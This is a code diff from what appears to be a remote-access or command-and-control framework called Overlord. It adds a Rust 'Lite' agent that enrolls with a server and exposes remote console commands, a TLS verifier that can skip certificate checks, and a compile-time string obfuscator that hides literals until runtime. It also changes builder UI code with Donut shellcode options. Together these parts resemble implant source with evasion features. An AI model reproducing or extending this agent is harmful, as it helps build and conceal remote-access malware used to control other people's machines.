ok,
|
||||||
|
message,
|
||||||
|
error_code,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn send_unsupported_command(socket: &mut Socket, envelope: &Value) -> Result<()> {
|
||||||
|
let command = protocol::required_string(envelope, FIELD_COMMAND_TYPE.as_str())?;
|
||||||
|
let command_id = protocol::string_field(envelope, FIELD_ID.as_str()).unwrap_or("");
|
||||||
|
let version = protocol::integer_field(envelope, FIELD_COMMAND_VERSION.as_str())
|
||||||
|
.unwrap_or(1)
|
||||||
|
.max(1) as u16;
|
||||||
|
send_value(
|
||||||
|
socket,
|
||||||
|
&CommandResult {
|
||||||
|
message_type: COMMAND_RESULT.as_str(),
|
||||||
|
command_id,
|
||||||
|
command_type: command,
|
||||||
|
command_version: version,
|
||||||
|
ok: false,
|
||||||
|
message: Some("command is not supported by Overlord Lite"),
|
||||||
|
error_code: Some("unsupported_command"),
|
||||||
|
},
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn receive_envelope(socket: &mut Socket) -> Result<Value> {
|
||||||
|
loop {
|
||||||
|
match socket
|
||||||
|
.next()
|
||||||
|
.await
|
||||||
|
.ok_or_else(|| anyhow!("server closed the WebSocket"))??
|
||||||
|
{
|
||||||
|
Message::Binary(bytes) => return protocol::decode(&bytes),
|
||||||
|
Message::Ping(bytes) => socket.send(Message::Pong(bytes)).await?,
|
||||||
|
Message::Pong(_) | Message::Text(_) | Message::Frame(_) => {}
|
||||||
|
Message::Close(frame) => bail!("server closed the session: {frame:?}"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn send_value<T: serde::Serialize>(socket: &mut Socket, value: &T) -> Result<()> {
|
||||||
|
socket
|
||||||
|
.send(Message::Binary(protocol::encode(value)?.into()))
|
||||||
|
.await?;
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn send_protocol_pong(socket: &mut Socket, incoming: &Value) -> Result<()> {
|
||||||
|
send_value(
|
||||||
|
socket,
|
||||||
|
&Ping {
|
||||||
|
message_type: PONG.as_str(),
|
||||||
|
ts: protocol::integer_field(incoming, FIELD_TS.as_str()).unwrap_or_else(now_millis),
|
||||||
|
},
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
}
|
||||||
|
|
||||||
|
fn is_console_command(command: &str) -> bool {
|
||||||
|
command == CONSOLE_START.as_str()
|
||||||
|
|| command == CONSOLE_INPUT.as_str()
|
||||||
|
|| command == CONSOLE_RESIZE.as_str()
|
||||||
|
|| command == CONSOLE_STOP.as_str()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn hostname() -> String {
|
||||||
|
std::env::var(if cfg!(windows) {
|
||||||
|
"COMPUTERNAME"
|
||||||
|
} else {
|
||||||
|
"HOSTNAME"
|
||||||
|
})
|
||||||
|
.ok()
|
||||||
|
.filter(|value| !value.trim().is_empty())
|
||||||
|
.unwrap_or_else(|| "unknown".to_owned())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn username() -> String {
|
||||||
|
std::env::var(if cfg!(windows) { "USERNAME" } else { "USER" })
|
||||||
|
.ok()
|
||||||
|
.filter(|value| !value.trim().is_empty())
|
||||||
|
.unwrap_or_else(|| "unknown".to_owned())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn wire_os() -> &'static str {
|
||||||
|
match std::env::consts::OS {
|
||||||
|
"macos" => "darwin",
|
||||||
|
other => other,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn wire_arch() -> &'static str {
|
||||||
|
match std::env::consts::ARCH {
|
||||||
|
"x86_64" => "amd64",
|
||||||
|
"aarch64" => "arm64",
|
||||||
|
"x86" => "386",
|
||||||
|
other => other,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn now_millis() -> i64 {
|
||||||
|
SystemTime::now()
|
||||||
|
.duration_since(UNIX_EPOCH)
|
||||||
|
.unwrap_or_default()
|
||||||
|
.as_millis() as i64
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use base64::{Engine as _, engine::general_purpose::STANDARD};
|
||||||
|
use ed25519_dalek::{Signature, VerifyingKey};
|
||||||
|
use tempfile::tempdir;
|
||||||
|
use tokio::net::TcpListener;
|
||||||
|
use tokio_tungstenite::accept_hdr_async;
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
#[allow(clippy::result_large_err)] // Required by tungstenite's handshake callback signature.
|
||||||
|
async fn authenticates_and_advertises_console_commands() {
|
||||||
|
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
|
||||||
|
let address = listener.local_addr().unwrap();
|
||||||
|
let state = tempdir().unwrap();
|
||||||
|
let identity = Identity::load_or_create(state.path()).unwrap();
|
||||||
|
let server_url = ServerUrl::parse(&format!("ws://{address}")).unwrap();
|
||||||
|
let config = Config {
|
||||||
|
servers: vec![server_url.clone()],
|
||||||
|
agent_token: Some("test-agent-token".to_owned()),
|
||||||
|
build_tag: Some("test-build-tag".to_owned()),
|
||||||
|
insecure_tls: true,
|
||||||
|
tls_spki_pins: Vec::new(),
|
||||||
|
state_dir: state.path().to_owned(),
|
||||||
|
reconnect_delay: Duration::from_millis(1),
|
||||||
|
heartbeat_interval: Duration::from_secs(60),
|
||||||
|
};
|
||||||
|
let expected_client_id = identity.client_id.clone();
|
||||||
|
|
||||||
|
let mock_server = tokio::spawn(async move {
|
||||||
|
let (tcp, _) = listener.accept().await.unwrap();
|
||||||
|
let mut socket = accept_hdr_async(tcp, |request: &tokio_tungstenite::tungstenite::handshake::server::Request, mut response: tokio_tungstenite::tungstenite::handshake::server::Response| {
|
||||||
|
assert_eq!(request.headers()["x-agent-token"], "test-agent-token");
|
||||||
|
assert!(request.uri().path().contains(&expected_client_id));
|
||||||
|
response.headers_mut().insert("Sec-WebSocket-Protocol", HeaderValue::from_static("binary"));
|
||||||
|
Ok(response)
|
||||||
|
}).await.unwrap();
|
||||||
|
|
||||||
|
let nonce = [7u8; 32];
|
||||||
|
let challenge = serde_json::json!({ "type": "enrollment_challenge", "nonce": STANDARD.encode(nonce) });
|
||||||
|
socket
|
||||||
|
.send(Message::Binary(
|
||||||
|
protocol::encode(&challenge).unwrap().into(),
|
||||||
|
))
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
let Message::Binary(hello_bytes) = socket.next().await.unwrap().unwrap() else {
|
||||||
|
panic!("expected binary hello")
|
||||||
|
};
|
||||||
|
let hello = protocol::decode(&hello_bytes).unwrap();
|
||||||
|
assert_eq!(protocol::string_field(&hello, "type"), Some("hello"));
|
||||||
|
assert_eq!(
|
||||||
|
protocol::string_field(&hello, "buildTag"),
|
||||||
|
Some("test-build-tag")
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
protocol::string_field(&hello, "version"),
|
||||||
|
Some(concat!("rust-lite/", env!("CARGO_PKG_VERSION")))
|
||||||
|
);
|
||||||
|
let command_versions = protocol::field(&hello, "commandVersions")
|
||||||
|
.unwrap()
|
||||||
|
.as_map()
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(command_versions.len(), 4);
|
||||||
|
for command in [
|
||||||
|
"console_input",
|
||||||
|
"console_resize",
|
||||||
|
"console_start",
|
||||||
|
"console_stop",
|
||||||
|
] {
|
||||||
|
assert!(
|
||||||
|
command_versions
|
||||||
|
.iter()
|
||||||
|
.any(|(key, _)| key.as_str() == Some(command))
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
let public_key: [u8; 32] = STANDARD
|
||||||
|
.decode(protocol::required_string(&hello, "publicKey").unwrap())
|
||||||
|
.unwrap()
|
||||||
|
.try_into()
|
||||||
|
.unwrap();
|
||||||
|
let signature = Signature::from_slice(
|
||||||
|
&STANDARD
|
||||||
|
.decode(protocol::required_string(&hello, "signature").unwrap())
|
||||||
|
.unwrap(),
|
||||||
|
)
|
||||||
|
.unwrap();
|
||||||
|
VerifyingKey::from_bytes(&public_key)
|
||||||
|
.unwrap()
|
||||||
|
.verify_strict(&nonce, &signature)
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
let ack = serde_json::json!({ "type": "hello_ack", "id": expected_client_id, "protocolVersion": 1 });
|
||||||
|
socket
|
||||||
|
.send(Message::Binary(protocol::encode(&ack).unwrap().into()))
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
let Message::Binary(ping_bytes) = socket.next().await.unwrap().unwrap() else {
|
||||||
|
panic!("expected initial ping")
|
||||||
|
};
|
||||||
|
assert_eq!(
|
||||||
|
protocol::string_field(&protocol::decode(&ping_bytes).unwrap(), "type"),
|
||||||
|
Some("ping")
|
||||||
|
);
|
||||||
|
socket.close(None).await.unwrap();
|
||||||
|
});
|
||||||
|
|
||||||
|
assert!(run(&config, &identity, &server_url).await.is_err());
|
||||||
|
mock_server.await.unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,259 @@
|
|||||||
|
use std::{fmt::Debug, sync::Arc};
|
||||||
|
|
||||||
|
use base64::{Engine as _, engine::general_purpose::STANDARD};
|
||||||
|
use rustls::{
|
||||||
|
ClientConfig, DigitallySignedStruct, RootCertStore, SignatureScheme,
|
||||||
|
client::{
|
||||||
|
WebPkiServerVerifier,
|
||||||
|
danger::{HandshakeSignatureValid, ServerCertVerified, ServerCertVerifier},
|
||||||
|
},
|
||||||
|
crypto::CryptoProvider,
|
||||||
|
pki_types::{CertificateDer, ServerName, UnixTime},
|
||||||
|
};
|
||||||
|
use sha2::{Digest, Sha256};
|
||||||
|
use tokio_tungstenite::Connector;
|
||||||
|
|
||||||
|
pub fn websocket_connector(insecure: bool, pins: &[[u8; 32]]) -> Option<Connector> {
|
||||||
|
custom_client_config(insecure, pins).map(|config| Connector::Rustls(Arc::new(config)))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn custom_client_config(insecure: bool, pins: &[[u8; 32]]) -> Option<ClientConfig> {
|
||||||
|
if !insecure && pins.is_empty() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let provider = Arc::new(rustls::crypto::ring::default_provider());
|
||||||
|
let verifier: Arc<dyn ServerCertVerifier> = if insecure {
|
||||||
|
Arc::new(NoCertificateVerification {
|
||||||
|
provider: provider.clone(),
|
||||||
|
})
|
||||||
|
} else {
|
||||||
|
Arc::new(PinnedCertificateVerification {
|
||||||
|
pins: pins.to_vec(),
|
||||||
|
provider: provider.clone(),
|
||||||
|
})
|
||||||
|
};
|
||||||
|
Some(
|
||||||
|
ClientConfig::builder_with_provider(provider)
|
||||||
|
.with_safe_default_protocol_versions()
|
||||||
|
.expect("ring supports the default TLS protocol versions")
|
||||||
|
.dangerous()
|
||||||
|
.with_custom_certificate_verifier(verifier)
|
||||||
|
.with_no_client_auth(),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
struct PinnedCertificateVerification {
|
||||||
|
pins: Vec<[u8; 32]>,
|
||||||
|
provider: Arc<CryptoProvider>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ServerCertVerifier for PinnedCertificateVerification {
|
||||||
|
fn verify_server_cert(
|
||||||
|
&self,
|
||||||
|
end_entity: &CertificateDer<'_>,
|
||||||
|
intermediates: &[CertificateDer<'_>],
|
||||||
|
server_name: &ServerName<'_>,
|
||||||
|
ocsp_response: &[u8],
|
||||||
|
now: UnixTime,
|
||||||
|
) -> Result<ServerCertVerified, rustls::Error> {
|
||||||
|
let spki = certificate_spki(end_entity.as_ref()).ok_or_else(|| {
|
||||||
|
rustls::Error::InvalidCertificate(rustls::CertificateError::BadEncoding)
|
||||||
|
})?;
|
||||||
|
let actual = Sha256::digest(spki);
|
||||||
|
if !self.pins.iter().any(|expected| expected[..] == actual[..]) {
|
||||||
|
return Err(rustls::Error::General(format!(
|
||||||
|
"TLS server identity pin mismatch (received sha256/{})",
|
||||||
|
STANDARD.encode(actual),
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
|
||||||
|
// The pin makes this exact public key the trust anchor. Delegating the
|
||||||
|
// rest to webpki retains certificate time, name, purpose, and encoding
|
||||||
|
// checks instead of turning verification off for self-signed servers.
|
||||||
|
let mut roots = RootCertStore::empty();
|
||||||
|
roots.add(end_entity.clone())?;
|
||||||
|
let verifier =
|
||||||
|
WebPkiServerVerifier::builder_with_provider(Arc::new(roots), self.provider.clone())
|
||||||
|
.build()
|
||||||
|
.map_err(|error| {
|
||||||
|
rustls::Error::General(format!("build pinned TLS verifier: {error}"))
|
||||||
|
})?;
|
||||||
|
verifier.verify_server_cert(end_entity, intermediates, server_name, ocsp_response, now)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn verify_tls12_signature(
|
||||||
|
&self,
|
||||||
|
message: &[u8],
|
||||||
|
cert: &CertificateDer<'_>,
|
||||||
|
dss: &DigitallySignedStruct,
|
||||||
|
) -> Result<HandshakeSignatureValid, rustls::Error> {
|
||||||
|
rustls::crypto::verify_tls12_signature(
|
||||||
|
message,
|
||||||
|
cert,
|
||||||
|
dss,
|
||||||
|
&self.provider.signature_verification_algorithms,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn verify_tls13_signature(
|
||||||
|
&self,
|
||||||
|
message: &[u8],
|
||||||
|
cert: &CertificateDer<'_>,
|
||||||
|
dss: &DigitallySignedStruct,
|
||||||
|
) -> Result<HandshakeSignatureValid, rustls::Error> {
|
||||||
|
rustls::crypto::verify_tls13_signature(
|
||||||
|
message,
|
||||||
|
cert,
|
||||||
|
dss,
|
||||||
|
&self.provider.signature_verification_algorithms,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn supported_verify_schemes(&self) -> Vec<SignatureScheme> {
|
||||||
|
self.provider
|
||||||
|
.signature_verification_algorithms
|
||||||
|
.supported_schemes()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
struct NoCertificateVerification {
|
||||||
|
provider: Arc<CryptoProvider>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ServerCertVerifier for NoCertificateVerification {
|
||||||
|
fn verify_server_cert(
|
||||||
|
&self,
|
||||||
|
_end_entity: &CertificateDer<'_>,
|
||||||
|
_intermediates: &[CertificateDer<'_>],
|
||||||
|
_server_name: &ServerName<'_>,
|
||||||
|
_ocsp_response: &[u8],
|
||||||
|
_now: UnixTime,
|
||||||
|
) -> Result<ServerCertVerified, rustls::Error> {
|
||||||
|
Ok(ServerCertVerified::assertion())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn verify_tls12_signature(
|
||||||
|
&self,
|
||||||
|
message: &[u8],
|
||||||
|
cert: &CertificateDer<'_>,
|
||||||
|
dss: &DigitallySignedStruct,
|
||||||
|
) -> Result<HandshakeSignatureValid, rustls::Error> {
|
||||||
|
rustls::crypto::verify_tls12_signature(
|
||||||
|
message,
|
||||||
|
cert,
|
||||||
|
dss,
|
||||||
|
&self.provider.signature_verification_algorithms,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn verify_tls13_signature(
|
||||||
|
&self,
|
||||||
|
message: &[u8],
|
||||||
|
cert: &CertificateDer<'_>,
|
||||||
|
dss: &DigitallySignedStruct,
|
||||||
|
) -> Result<HandshakeSignatureValid, rustls::Error> {
|
||||||
|
rustls::crypto::verify_tls13_signature(
|
||||||
|
message,
|
||||||
|
cert,
|
||||||
|
dss,
|
||||||
|
&self.provider.signature_verification_algorithms,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn supported_verify_schemes(&self) -> Vec<SignatureScheme> {
|
||||||
|
self.provider
|
||||||
|
.signature_verification_algorithms
|
||||||
|
.supported_schemes()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
struct DerElement<'a> {
|
||||||
|
tag: u8,
|
||||||
|
full: &'a [u8],
|
||||||
|
content: &'a [u8],
|
||||||
|
rest: &'a [u8],
|
||||||
|
}
|
||||||
|
|
||||||
|
fn der_element(input: &[u8]) -> Option<DerElement<'_>> {
|
||||||
|
let tag = *input.first()?;
|
||||||
|
let first_length = *input.get(1)?;
|
||||||
|
let (header_length, content_length) = if first_length & 0x80 == 0 {
|
||||||
|
(2, usize::from(first_length))
|
||||||
|
} else {
|
||||||
|
let length_bytes = usize::from(first_length & 0x7f);
|
||||||
|
if length_bytes == 0 || length_bytes > std::mem::size_of::<usize>() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let bytes = input.get(2..2 + length_bytes)?;
|
||||||
|
if bytes.first() == Some(&0) {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut length = 0usize;
|
||||||
|
for byte in bytes {
|
||||||
|
length = length.checked_mul(256)?.checked_add(usize::from(*byte))?;
|
||||||
|
}
|
||||||
|
if length < 128 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
(2 + length_bytes, length)
|
||||||
|
};
|
||||||
|
let total_length = header_length.checked_add(content_length)?;
|
||||||
|
let full = input.get(..total_length)?;
|
||||||
|
Some(DerElement {
|
||||||
|
tag,
|
||||||
|
full,
|
||||||
|
content: &full[header_length..],
|
||||||
|
rest: &input[total_length..],
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
fn certificate_spki(certificate: &[u8]) -> Option<&[u8]> {
|
||||||
|
let certificate = der_element(certificate)?;
|
||||||
|
if certificate.tag != 0x30 || !certificate.rest.is_empty() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let tbs = der_element(certificate.content)?;
|
||||||
|
if tbs.tag != 0x30 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut fields = tbs.content;
|
||||||
|
let first = der_element(fields)?;
|
||||||
|
if first.tag == 0xa0 {
|
||||||
|
fields = first.rest;
|
||||||
|
}
|
||||||
|
// serialNumber, signature, issuer, validity, and subject precede SPKI.
|
||||||
|
for _ in 0..5 {
|
||||||
|
fields = der_element(fields)?.rest;
|
||||||
|
}
|
||||||
|
let spki = der_element(fields)?;
|
||||||
|
(spki.tag == 0x30).then_some(spki.full)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn extracts_complete_spki_der_from_certificate() {
|
||||||
|
let certificate = [
|
||||||
|
0x30, 0x17, // Certificate sequence
|
||||||
|
0x30, 0x15, // TBSCertificate sequence
|
||||||
|
0xa0, 0x03, 0x02, 0x01, 0x02, // version
|
||||||
|
0x02, 0x01, 0x01, // serial number
|
||||||
|
0x30, 0x00, // signature
|
||||||
|
0x30, 0x00, // issuer
|
||||||
|
0x30, 0x00, // validity
|
||||||
|
0x30, 0x00, // subject
|
||||||
|
0x30, 0x03, 0x01, 0x01, 0xff, // SPKI
|
||||||
|
];
|
||||||
|
assert_eq!(
|
||||||
|
certificate_spki(&certificate),
|
||||||
|
Some(&certificate[20..25][..])
|
||||||
|
);
|
||||||
|
assert_eq!(certificate_spki(&certificate[..24]), None);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
[package]
|
||||||
|
name = "overlord-lite-string-obfuscator"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2024"
|
||||||
|
publish = false
|
||||||
|
|
||||||
|
[lib]
|
||||||
|
proc-macro = true
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
proc-macro2 = "1.0"
|
||||||
|
quote = "1.0"
|
||||||
|
syn = { version = "2.0", features = ["parsing"] }
|
||||||
@@ -0,0 +1,61 @@
|
|||||||
|
use std::{
|
||||||
|
hash::{Hash, Hasher},
|
||||||
|
sync::atomic::{AtomicU64, Ordering},
|
||||||
|
time::{SystemTime, UNIX_EPOCH},
|
||||||
|
};
|
||||||
|
|
||||||
|
use proc_macro::TokenStream;
|
||||||
|
use quote::quote;
|
||||||
|
use syn::{LitStr, parse_macro_input};
|
||||||
|
|
||||||
|
static INVOCATION: AtomicU64 = AtomicU64::new(1);
|
||||||
|
|
||||||
|
/// Encrypts one UTF-8 string literal while the crate is being compiled and
|
||||||
|
/// expands to an expression that decrypts it only when evaluated at runtime.
|
||||||
|
#[proc_macro]
|
||||||
|
pub fn obfstr(input: TokenStream) -> TokenStream {
|
||||||
|
let literal = parse_macro_input!(input as LitStr);
|
||||||
|
let plaintext = literal.value();
|
||||||
|
let seed = invocation_seed(&plaintext);
|
||||||
|
let encrypted = crypt(plaintext.as_bytes(), seed);
|
||||||
|
let bytes = encrypted.iter();
|
||||||
|
|
||||||
|
quote!({
|
||||||
|
const ENCRYPTED: &[u8] = &[#(#bytes),*];
|
||||||
|
::overlord_lite::obfuscation::decrypt(ENCRYPTED, #seed)
|
||||||
|
})
|
||||||
|
.into()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn invocation_seed(value: &str) -> u64 {
|
||||||
|
let timestamp = SystemTime::now()
|
||||||
|
.duration_since(UNIX_EPOCH)
|
||||||
|
.unwrap_or_default()
|
||||||
|
.as_nanos() as u64;
|
||||||
|
let invocation = INVOCATION.fetch_add(1, Ordering::Relaxed);
|
||||||
|
let mut hasher = std::collections::hash_map::DefaultHasher::new();
|
||||||
|
value.hash(&mut hasher);
|
||||||
|
timestamp.hash(&mut hasher);
|
||||||
|
invocation.hash(&mut hasher);
|
||||||
|
std::process::id().hash(&mut hasher);
|
||||||
|
normalize_seed(hasher.finish())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn crypt(input: &[u8], seed: u64) -> Vec<u8> {
|
||||||
|
let mut state = normalize_seed(seed);
|
||||||
|
input
|
||||||
|
.iter()
|
||||||
|
.map(|byte| byte ^ next_key_byte(&mut state))
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn normalize_seed(seed: u64) -> u64 {
|
||||||
|
seed | 1
|
||||||
|
}
|
||||||
|
|
||||||
|
fn next_key_byte(state: &mut u64) -> u8 {
|
||||||
|
*state ^= *state >> 12;
|
||||||
|
*state ^= *state << 25;
|
||||||
|
*state ^= *state >> 27;
|
||||||
|
(state.wrapping_mul(0x2545_f491_4f6c_dd1d) >> 56) as u8
|
||||||
|
}
|
||||||
@@ -14,6 +14,8 @@ const form = document.getElementById("build-form");
|
|||||||
const buildBtn = document.getElementById("build-btn");
|
const buildBtn = document.getElementById("build-btn");
|
||||||
const buildStatus = document.getElementById("build-status");
|
const buildStatus = document.getElementById("build-status");
|
||||||
const buildStatusText = document.getElementById("build-status-text");
|
const buildStatusText = document.getElementById("build-status-text");
|
||||||
|
const buildProgressTrack = document.getElementById("build-progress-track");
|
||||||
|
const buildProgressBar = document.getElementById("build-progress-bar");
|
||||||
const buildOutputDiv = document.getElementById("build-output");
|
const buildOutputDiv = document.getElementById("build-output");
|
||||||
const buildOutputContainer = document.getElementById("build-output-container");
|
const buildOutputContainer = document.getElementById("build-output-container");
|
||||||
const buildLogIssueCount = document.getElementById("build-log-issue-count");
|
const buildLogIssueCount = document.getElementById("build-log-issue-count");
|
||||||
@@ -59,6 +61,8 @@ const platformInputs = document.querySelectorAll('input[name="platform"]');
|
|||||||
const buildPluginsSection = document.getElementById("build-plugins-section");
|
const buildPluginsSection = document.getElementById("build-plugins-section");
|
||||||
const buildPluginsList = document.getElementById("build-plugins-list");
|
const buildPluginsList = document.getElementById("build-plugins-list");
|
||||||
const buildPluginsCount = document.getElementById("build-plugins-count");
|
const buildPluginsCount = document.getElementById("build-plugins-count");
|
||||||
|
const buildProviderSelect = document.getElementById("build-provider");
|
||||||
|
const buildProviderDescription = document.getElementById("build-provider-description");
|
||||||
const macosSdkUploadSection = document.getElementById("macos-sdk-upload-section");
|
const macosSdkUploadSection = document.getElementById("macos-sdk-upload-section");
|
||||||
const macosSdkFileInput = document.getElementById("macos-sdk-file");
|
const macosSdkFileInput = document.getElementById("macos-sdk-file");
|
||||||
const macosSdkRightsInput = document.getElementById("macos-sdk-rights");
|
const macosSdkRightsInput = document.getElementById("macos-sdk-rights");
|
||||||
@@ -88,6 +92,7 @@ async function loadMacosSdkStatus() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function needsMacosSdkUpload() {
|
function needsMacosSdkUpload() {
|
||||||
|
if (buildProviderSelect?.value) return false;
|
||||||
const hasDarwin = Array.from(document.querySelectorAll('input[name="platform"]:checked'))
|
const hasDarwin = Array.from(document.querySelectorAll('input[name="platform"]:checked'))
|
||||||
.some((input) => input.value.startsWith("darwin-"));
|
.some((input) => input.value.startsWith("darwin-"));
|
||||||
return macosSdkRequiredForDarwinCgo && hasDarwin && !document.querySelector('input[name="disable-cgo"]')?.checked;
|
return macosSdkRequiredForDarwinCgo && hasDarwin && !document.querySelector('input[name="disable-cgo"]')?.checked;
|
||||||
@@ -231,6 +236,20 @@ let isBuilding = false;
|
|||||||
const BUILD_LOG_MAX_VISIBLE_LINES = 5000;
|
const BUILD_LOG_MAX_VISIBLE_LINES = 5000;
|
||||||
const BUILD_LOG_WRAP_KEY = "overlord.buildLog.wrap.v1";
|
const BUILD_LOG_WRAP_KEY = "overlord.buildLog.wrap.v1";
|
||||||
let buildLogRawChunks = [];
|
let buildLogRawChunks = [];
|
||||||
|
|
||||||
|
function updateBuildProgress(progress) {
|
||||||
|
const value = Number(progress);
|
||||||
|
const visible = progress !== null && progress !== undefined && Number.isFinite(value);
|
||||||
|
buildProgressTrack?.classList.toggle("hidden", !visible);
|
||||||
|
if (!visible) {
|
||||||
|
if (buildProgressBar) buildProgressBar.style.width = "0%";
|
||||||
|
buildProgressTrack?.removeAttribute("aria-valuenow");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const clamped = Math.max(0, Math.min(100, value));
|
||||||
|
if (buildProgressBar) buildProgressBar.style.width = `${clamped}%`;
|
||||||
|
buildProgressTrack?.setAttribute("aria-valuenow", String(Math.round(clamped)));
|
||||||
|
}
|
||||||
let buildLogLineCount = 0;
|
let buildLogLineCount = 0;
|
||||||
let buildLogIssueTotal = 0;
|
let buildLogIssueTotal = 0;
|
||||||
let buildLogFollow = true;
|
let buildLogFollow = true;
|
||||||
@@ -476,8 +495,64 @@ function collectBuildPluginSettings() {
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function selectedBuildProviderPlugin() {
|
||||||
|
const id = buildProviderSelect?.value || "";
|
||||||
|
return id ? buildPlugins.find((plugin) => plugin.id === id && plugin.build?.provider) : null;
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateBuildProviderUi() {
|
||||||
|
const provider = selectedBuildProviderPlugin();
|
||||||
|
const supported = provider ? new Set(provider.build.provider.platforms || []) : null;
|
||||||
|
for (const input of document.querySelectorAll('input[name="platform"]')) {
|
||||||
|
const allowed = !supported || supported.has(input.value);
|
||||||
|
input.disabled = !allowed;
|
||||||
|
input.closest("label")?.classList.toggle("opacity-40", !allowed);
|
||||||
|
if (!allowed) input.checked = false;
|
||||||
|
}
|
||||||
|
if (provider && !document.querySelector('input[name="platform"]:checked:not(:disabled)')) {
|
||||||
|
const first = document.querySelector('input[name="platform"]:not(:disabled)');
|
||||||
|
if (first) first.checked = true;
|
||||||
|
}
|
||||||
|
if (provider) {
|
||||||
|
if (buildProviderDescription) {
|
||||||
|
buildProviderDescription.textContent = provider.build.provider.description
|
||||||
|
|| provider.build.description
|
||||||
|
|| `Uses the ${provider.name || provider.id} build provider.`;
|
||||||
|
}
|
||||||
|
const enabled = document.querySelector(`[data-build-plugin-enable="${provider.id}"]`);
|
||||||
|
if (enabled) enabled.checked = true;
|
||||||
|
} else if (buildProviderDescription) {
|
||||||
|
buildProviderDescription.textContent = "Uses the built-in full-featured Go client builder.";
|
||||||
|
}
|
||||||
|
updateWindowsSectionVisibility();
|
||||||
|
updateMacosSdkVisibility();
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderBuildProviders() {
|
||||||
|
if (!buildProviderSelect) return;
|
||||||
|
const selected = buildProviderSelect.value;
|
||||||
|
buildProviderSelect.innerHTML = '<option value="">Full Go Agent</option>';
|
||||||
|
for (const plugin of buildPlugins) {
|
||||||
|
if (!plugin.build?.provider || plugin.enabled === false) continue;
|
||||||
|
const option = document.createElement("option");
|
||||||
|
option.value = plugin.id;
|
||||||
|
option.textContent = plugin.build.provider.label || plugin.build.label || plugin.name || plugin.id;
|
||||||
|
buildProviderSelect.appendChild(option);
|
||||||
|
}
|
||||||
|
if (Array.from(buildProviderSelect.options).some((option) => option.value === selected)) {
|
||||||
|
buildProviderSelect.value = selected;
|
||||||
|
}
|
||||||
|
updateBuildProviderUi();
|
||||||
|
}
|
||||||
|
|
||||||
|
buildProviderSelect?.addEventListener("change", () => {
|
||||||
|
updateBuildProviderUi();
|
||||||
|
saveFormSettings();
|
||||||
|
});
|
||||||
|
|
||||||
function setBuildField(field, value) {
|
function setBuildField(field, value) {
|
||||||
const fieldMap = {
|
const fieldMap = {
|
||||||
|
buildProvider: "#build-provider",
|
||||||
useDonut: "#donut-mode",
|
useDonut: "#donut-mode",
|
||||||
donutSingleThreaded: "#donut-single-threaded",
|
donutSingleThreaded: "#donut-single-threaded",
|
||||||
donutExitMode: "#donut-exit-mode",
|
donutExitMode: "#donut-exit-mode",
|
||||||
@@ -738,9 +813,17 @@ async function loadBuildPlugins() {
|
|||||||
const data = await res.json();
|
const data = await res.json();
|
||||||
buildPlugins = Array.isArray(data.plugins) ? data.plugins : [];
|
buildPlugins = Array.isArray(data.plugins) ? data.plugins : [];
|
||||||
renderBuildPlugins();
|
renderBuildPlugins();
|
||||||
|
